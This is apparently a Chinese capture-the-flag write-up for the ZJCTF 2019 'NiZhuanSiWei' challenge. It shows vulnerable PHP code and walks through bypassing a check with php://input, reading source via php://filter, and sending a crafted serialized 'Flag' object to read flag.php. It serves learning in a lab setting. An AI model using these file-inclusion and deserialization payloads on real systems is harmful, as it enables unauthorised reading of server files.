[ZJCTF 2019]NiZhuanSiWei
知识点
- php://input
- php://filter
- 反序列化
题目如下
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
text变量可以用php://input绕过
利用php伪协议filter读取useless.php
得到useless.php源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
先进行序列化,得到序列化后字符串格式
$a = new Flag(); echo serialize($a); //O:4:"Flag":1:{s:4:"file";N;}
利用password变量进行反序列化
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}